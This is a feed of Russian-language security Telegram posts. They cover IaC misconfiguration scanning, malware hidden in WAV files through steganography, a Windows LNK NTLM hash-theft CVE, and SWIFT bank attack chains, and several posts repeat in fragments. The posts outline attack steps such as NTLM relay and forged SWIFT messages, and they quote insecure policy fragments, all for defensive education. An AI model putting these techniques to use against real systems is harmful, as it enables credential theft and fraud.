NEO4J_SERVER: "localhost"
WS_PORT: "7687"
После этого остается запустить приложение командой
python3 logontracer.py --run и открыть его по адресу http://localhost:8080.#defense #tools #SOC
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥9👍7
Три громких утечки, которые ловились одной командой в терминале
Capital One — избыточные привилегии IAM-роли. Майнинг криптовалюты на сайте Los Angeles Times — S3-бакет с ACL
NSA в отчёте Mitigating Cloud Vulnerabilities прямо называет мисконфигурации наиболее распространённой уязвимостью облачных сред. А по данным IBM, среднее время обнаружения такого инцидента часто превышает шесть месяцев. В pipeline та же проблема находится за секунды. Разница — в точке, где вы проверяете.
🔍 Тысячи правил в IaC-сканерах сводятся к пяти категориям мисконфигураций:
• Публичный доступ к ресурсам — открытые бакеты, базы данных с
• Избыточные IAM-привилегии — политики с
• Отсутствие шифрования — EBS-тома, RDS, S3 без encryption, HTTP без TLS
• Отключённое логирование — CloudTrail не во всех регионах, VPC Flow Logs не настроены, Kubernetes audit logging выключен
• Избыточный сетевой доступ — Security Group с
Каждая категория — прямой enabler для конкретных тактик MITRE ATT&CK. Открытый бакет — это T1580 (Cloud Infrastructure Discovery). Wildcard-роль — T1078.004 (Cloud Accounts). Пробел в логировании — T1562.008 (Disable Cloud Logs), и атакующему даже не нужно ничего отключать, потому что вы сами не включили.
⚙️ Отдельная боль — выбор между сканированием HCL-кода напрямую и сканированием Terraform Plan. Первый подход быстрый, не требует credentials, ставится как pre-commit hook. Но он не видит результат интерполяции переменных. Если значение ACL приходит из
Сканирование Plan JSON решает эту проблему: все переменные уже разрешены, вы видите реальные значения. Но нужен доступ к state backend и cloud API. Оптимальная стратегия — оба подхода последовательно: HCL-сканирование на pre-commit, Plan-сканирование в CI перед apply.
🛡 И ключевой момент: параллельно с preventive-сканированием стоит строить detection-правила в SIEM. Алерт на
В полной статье — готовые примеры Terraform-кода с мисконфигурациями, маппинг на MITRE ATT&CK и конкретные detection-правила для каждой категории.
https://codeby.net/threads/bezopasnost-infrastructure-as-code-ot-miskonfiguratsii-v-terraform-do-detection-pravila-v-siem.92969/
Capital One — избыточные привилегии IAM-роли. Майнинг криптовалюты на сайте Los Angeles Times — S3-бакет с ACL
public-read-write. Вредоносный код в Twilio SDK — снова открытый бакет. Три инцидента на миллионы долларов, три мисконфигурации, которые ловятся одним проходом checkov -d . по Terraform-шаблону. Но только если сканирование вообще настроено.NSA в отчёте Mitigating Cloud Vulnerabilities прямо называет мисконфигурации наиболее распространённой уязвимостью облачных сред. А по данным IBM, среднее время обнаружения такого инцидента часто превышает шесть месяцев. В pipeline та же проблема находится за секунды. Разница — в точке, где вы проверяете.
🔍 Тысячи правил в IaC-сканерах сводятся к пяти категориям мисконфигураций:
• Публичный доступ к ресурсам — открытые бакеты, базы данных с
publicly_accessible = true, сервисы без ограничения source IP• Избыточные IAM-привилегии — политики с
"Action": "*" и "Resource": "*", дающие полный контроль над аккаунтом• Отсутствие шифрования — EBS-тома, RDS, S3 без encryption, HTTP без TLS
• Отключённое логирование — CloudTrail не во всех регионах, VPC Flow Logs не настроены, Kubernetes audit logging выключен
• Избыточный сетевой доступ — Security Group с
0.0.0.0/0 на порт 22 или 3389Каждая категория — прямой enabler для конкретных тактик MITRE ATT&CK. Открытый бакет — это T1580 (Cloud Infrastructure Discovery). Wildcard-роль — T1078.004 (Cloud Accounts). Пробел в логировании — T1562.008 (Disable Cloud Logs), и атакующему даже не нужно ничего отключать, потому что вы сами не включили.
⚙️ Отдельная боль — выбор между сканированием HCL-кода напрямую и сканированием Terraform Plan. Первый подход быстрый, не требует credentials, ставится как pre-commit hook. Но он не видит результат интерполяции переменных. Если значение ACL приходит из
var.bucket_acl с дефолтом private, а при деплое кто-то передаёт public-read-write через флаг -var — сканер этого не увидит.Сканирование Plan JSON решает эту проблему: все переменные уже разрешены, вы видите реальные значения. Но нужен доступ к state backend и cloud API. Оптимальная стратегия — оба подхода последовательно: HCL-сканирование на pre-commit, Plan-сканирование в CI перед apply.
🛡 И ключевой момент: параллельно с preventive-сканированием стоит строить detection-правила в SIEM. Алерт на
PutBucketAcl с публичными параметрами, на AttachRolePolicy с wildcard, на AuthorizeSecurityGroupIngress с CIDR 0.0.0.0/0 — это ваша страховка на случай, когда pipeline обошли.В полной статье — готовые примеры Terraform-кода с мисконфигурациями, маппинг на MITRE ATT&CK и конкретные detection-правила для каждой категории.
https://codeby.net/threads/bezopasnost-infrastructure-as-code-ot-miskonfiguratsii-v-terraform-do-detection-pravila-v-siem.92969/
❤10👍8🔥6
Шеллкод внутри музыки: почему EDR не слышит малварь в WAV-файлах
Трёхминутный стерео-WAV при 44.1 кГц весит около 30 МБ и содержит порядка 15.8 миллионов сэмплов. Каждый сэмпл — 16-битное число. Замени младший бит в каждом из них — и получишь почти 2 МБ скрытой ёмкости. Амплитуда сдвинется на 1/65536 от полного диапазона. Ухо не заметит. EDR не заметит. Файл звучит как обычная музыка.
Именно так работает LSB-стеганография — самый распространённый способ спрятать payload в аудио. И это не теория из CTF-задач.
🔊 В 2019 году Symantec зафиксировала, что группировка Turla использовала WAV-файлы для доставки кода на заражённые хосты. Параллельно исследователи Cylance нашли криптомайнеры и Metasploit-шеллы внутри аудио. Файлы воспроизводились без щелчков, без артефактов — чистый звук. С тех пор техника только развивается, а детект в большинстве организаций стоит на нуле.
Почему атакующим это удобно:
• Межсетевые экраны и DLP считают аудио безопасным медиаконтентом. GET-запрос на
• EDR реагирует на исполняемые файлы и скрипты, а WAV сам по себе не исполняется. Payload извлекает отдельный загрузчик, уже сидящий на хосте.
• Атакующий может обновлять шеллкод, не трогая ничего на эндпоинте — просто заменил WAV на CDN, и бот тянет свежий payload.
🛡 Что с обнаружением? Ни CrowdStrike Falcon, ни Microsoft Defender for Endpoint, ни SentinelOne не инспектируют содержимое аудиофайлов. Поведенческий анализ сработает только на этапе исполнения извлечённого кода. Сам WAV проходит незамеченным.
Но слабые места у техники есть. LSB-стеганография уязвима к статистическому анализу — тест хи-квадрат может выявить аномальное распределение младших битов. Правда, в реальных кампаниях payload шифруют перед встраиванием, и простые статистические тесты перестают работать. Ещё одно ограничение: метод не переживает lossy-сжатие. Если WAV прогнать через MP3-транскодер — шеллкод разрушится. Атакующий привязан к lossless-каналам.
Помимо LSB существуют и другие подходы. Фазовое кодирование прячет данные в фазовых разностях сегментов — устойчивее к обработке, но ёмкость ниже. Спектральное встраивание помещает биты в частоты выше 14–16 кГц, где слух наименее чувствителен. А в той же кампании 2019 года Cylance обнаружила загрузчики на основе
📖 В полной версии статьи — практические методы обнаружения, инструменты стегоанализа и конкретные скрипты для детекта. Рекомендуем к прочтению.
https://codeby.net/threads/steganografiya-v-audiofailakh-kak-malvar-pryachut-vnutri-wav-i-kak-eto-obnaruzhit.92973/
Трёхминутный стерео-WAV при 44.1 кГц весит около 30 МБ и содержит порядка 15.8 миллионов сэмплов. Каждый сэмпл — 16-битное число. Замени младший бит в каждом из них — и получишь почти 2 МБ скрытой ёмкости. Амплитуда сдвинется на 1/65536 от полного диапазона. Ухо не заметит. EDR не заметит. Файл звучит как обычная музыка.
Именно так работает LSB-стеганография — самый распространённый способ спрятать payload в аудио. И это не теория из CTF-задач.
🔊 В 2019 году Symantec зафиксировала, что группировка Turla использовала WAV-файлы для доставки кода на заражённые хосты. Параллельно исследователи Cylance нашли криптомайнеры и Metasploit-шеллы внутри аудио. Файлы воспроизводились без щелчков, без артефактов — чистый звук. С тех пор техника только развивается, а детект в большинстве организаций стоит на нуле.
Почему атакующим это удобно:
• Межсетевые экраны и DLP считают аудио безопасным медиаконтентом. GET-запрос на
.wav с публичного CDN — для фильтра это «пользователь слушает музыку».• EDR реагирует на исполняемые файлы и скрипты, а WAV сам по себе не исполняется. Payload извлекает отдельный загрузчик, уже сидящий на хосте.
• Атакующий может обновлять шеллкод, не трогая ничего на эндпоинте — просто заменил WAV на CDN, и бот тянет свежий payload.
🛡 Что с обнаружением? Ни CrowdStrike Falcon, ни Microsoft Defender for Endpoint, ни SentinelOne не инспектируют содержимое аудиофайлов. Поведенческий анализ сработает только на этапе исполнения извлечённого кода. Сам WAV проходит незамеченным.
Но слабые места у техники есть. LSB-стеганография уязвима к статистическому анализу — тест хи-квадрат может выявить аномальное распределение младших битов. Правда, в реальных кампаниях payload шифруют перед встраиванием, и простые статистические тесты перестают работать. Ещё одно ограничение: метод не переживает lossy-сжатие. Если WAV прогнать через MP3-транскодер — шеллкод разрушится. Атакующий привязан к lossless-каналам.
Помимо LSB существуют и другие подходы. Фазовое кодирование прячет данные в фазовых разностях сегментов — устойчивее к обработке, но ёмкость ниже. Спектральное встраивание помещает биты в частоты выше 14–16 кГц, где слух наименее чувствителен. А в той же кампании 2019 года Cylance обнаружила загрузчики на основе
rand() с фиксированным seed — WAV звучал как белый шум, но после PRNG-декодирования превращался в полноценный PE-файл.📖 В полной версии статьи — практические методы обнаружения, инструменты стегоанализа и конкретные скрипты для детекта. Рекомендуем к прочтению.
https://codeby.net/threads/steganografiya-v-audiofailakh-kak-malvar-pryachut-vnutri-wav-i-kak-eto-obnaruzhit.92973/
❤8👍5🔥3🤯2
Windows - В С Ё!
🌐 Microsoft подтвердила активную эксплуатацию уязвимости CVE-2026-32202 в компоненте Windows Shell, которая позволяет красть учётные данные через SMB-аутентификацию. Эта проблема возникла из-за неполного патча для предыдущей уязвимости CVE-2026-21510, выпущенного в феврале 2026 года.
🕸 Уязвимость относится к классу spoofing (CVSS 4.3), но реальный риск выше из-за возможности латерального перемещения в сети. При просмотре папки с вредоносным LNK-файлом (ярлыком) Windows Shell автоматически разрешает UNC-путь в файле, инициируя SMB-соединение с сервером злоумышленника. В результате атакующий получает NTLMv2-хеш учётных данных пользователя без клика или запуска файла — достаточно открыть папку.
🧿 Изначально CVE-2026-21510 эксплуатировалась в атаках на Украину и ЕС в декабре 2025 года; февральский патч заблокировал RCE, но оставил вектор кражи credentials. Полное исправление вышло 14 апреля 2026 в Patch Tuesday (KB5083769 для Windows 11 24H2/25H2), но Microsoft 27 апреля обновила статус, подтвердив exploitation в wild. 28 апреля CISA добавила CVE в KEV-каталог.
↗️ Вектор эксплуатации CVE-2026-32202 основан на автоматическом разрешении UNC-путей в Windows Shell при просмотре папки с вредоносным LNK-файлом (ярлыком), что приводит к принудительной SMB-аутентификации без выполнения файла. Это zero-click сценарий: жертве достаточно открыть папку в Проводнике, чтобы система инициировала NTLM-аутентификацию на контролируемый атакующим сервер:
Цепочка атаки:
1️⃣ Доставка payload: Злоумышленник размещает LNK-файл с UNC-путём вида \\server\share\file.lnk в доступной папке — через email-вложение, фишинговую ссылку на SMB-шар или сетевой ресурс.
2️⃣ Автоматическое разрешение: Жертва открывает папку в Проводнике; Windows Shell парсит LNK и автоматически резолвит UNC-путь, устанавливая SMB-соединение с server от имени текущего пользователя.
3️⃣ Кража NTLMv2-хеша: Сервер захватывает NTLMv2-челлендж/респонс (хеш пароля), не требуя клика по файлу — механизм защиты не блокирует сетевой вызов.
4️⃣ Постэксплуатация: Хеш используется для relay-атаки (NTLM relay на DC для DCSync или lateral movement), оффлайн brute-force или Pass-the-Hash
⬇️ Необходимо установить последнее обновление безопасности Windows KB5083769, отключить SMBv1 и спрятаться под одеяло мониторить UNC/LNK-файлы в сетевом трафике
#windows #cve #smb #lnk
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
Цепочка атаки:
#windows #cve #smb #lnk
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤5👍5👎3👀1
19 дней от фишингового письма до терминала SWIFT: как устроены атаки на банки
На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию.
И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс».
🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone.
Как выглядит kill chain на практике:
• Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте.
• Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками.
• Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций.
⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны.
Что реально помогает защититься:
• EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще
• Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами
• Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию
📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта.
https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/
На одном red team проекте для банка из топ-30 команда прошла путь от spear-phishing письма до операторского АРМ SWIFT за 19 дней. Два файрвола, выделенный VLAN, формально изолированная secure zone — всё это обнулил один сервисный аккаунт с правами на обе зоны. Сегментация превратилась в декорацию.
И это не уникальный случай. Тот же сценарий — почти покадрово — использовала Lazarus Group при взломе Bangladesh Bank ($81 млн украденных средств) и группировка Cobalt в атаке на российский «Глобэкс».
🔑 Главный инсайт: ни одна крупная атака на SWIFT не эксплуатировала уязвимость в самом протоколе. Каждый раз это многонедельная APT-операция через людей и корпоративную сеть вокруг secure zone.
Как выглядит kill chain на практике:
• Initial Access — таргетированное письмо оператору банка. Вложение замаскировано под платёжное поручение или запрос регулятора. PDF с макросами, иногда заражённая USB-флешка. Цель — закрепиться на любой рабочей станции в офисном сегменте.
• Lateral Movement — самая долгая фаза. Атакующий перехватывает пароли через кейлоггер, снимает скриншоты рабочих столов, чтобы понять бизнес-процессы и вычислить операторов SWIFT. Среднее время от проникновения до вывода средств — 3–4 недели. Всё это время сигнатурные детекты молчат: аутентификация идёт под легитимными учётками.
• Финал — формирование поддельных SWIFT-сообщений (MT103 для клиентских переводов, MT202 для межбанковских), модификация серверного ПО Alliance Access, чтобы подавить печать подтверждений и стереть записи из базы транзакций.
⚠️ Отдельный вектор, о котором мало говорят: в России до 2018 года ряд банков работал со SWIFT через сервис-бюро — посредников с доступом к IP-адресам и критической инфраструктуре клиентов. Компрометация одного такого посредника открывала путь сразу к десяткам банков. По сути — supply chain attack на финансовый сектор целой страны.
Что реально помогает защититься:
• EDR-агенты на каждом эндпоинте secure zone (а не только в офисном сегменте) — legacy-системы на Windows Server 2008/2012 часто остаются без покрытия вообще
• Поведенческий анализ аутентификаций — валидные учётки не ловятся сигнатурами
• Жёсткая ревизия сервисных аккаунтов с кросс-зонными правами — именно они превращают сегментацию в фикцию
📌 В полной статье — маппинг каждого шага на MITRE ATT&CK, разбор реальных инцидентов и готовые Sigma-правила для детекта.
https://codeby.net/threads/ataki-na-swift-i-mezhbankovskiye-sistemy-kill-chain-ot-fishinga-do-vyvoda-sredstv.92972/
👍4❤3🔥2👎1🤬1😈1